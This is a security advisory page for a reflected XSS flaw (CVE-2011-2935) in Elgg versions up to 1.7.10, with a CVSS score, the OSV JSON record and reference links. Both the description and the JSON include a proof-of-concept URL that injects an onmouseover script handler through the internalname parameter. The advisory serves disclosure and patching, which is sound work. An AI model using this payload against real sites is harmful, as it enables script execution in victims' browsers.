GHSA-MCFM-J5G6-W26F

Vulnerability from github – Published: 2022-04-22 00:24 – Updated: 2024-01-12 22:05
VLAI
Summary
Elgg Reflected XSS Vulnerability
Details

VULNERABILITY DESCRIPTION

The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser

PROOF-OF-CONCEPT/EXPLOIT

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.10"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "elgg/elgg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-2935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-12T22:05:22Z",
    "nvd_published_at": "2019-11-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim\u0027s browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```",
  "id": "GHSA-mcfm-j5g6-w26f",
  "modified": "2024-01-12T22:05:22Z",
  "published": "2022-04-22T00:24:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/issues/3544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Elgg/Elgg"
    },
    {
      "type": "WEB",
      "url": "https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2011-2935"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released"
    },
    {
      "type": "WEB",
      "url": "http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elgg Reflected XSS Vulnerability"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.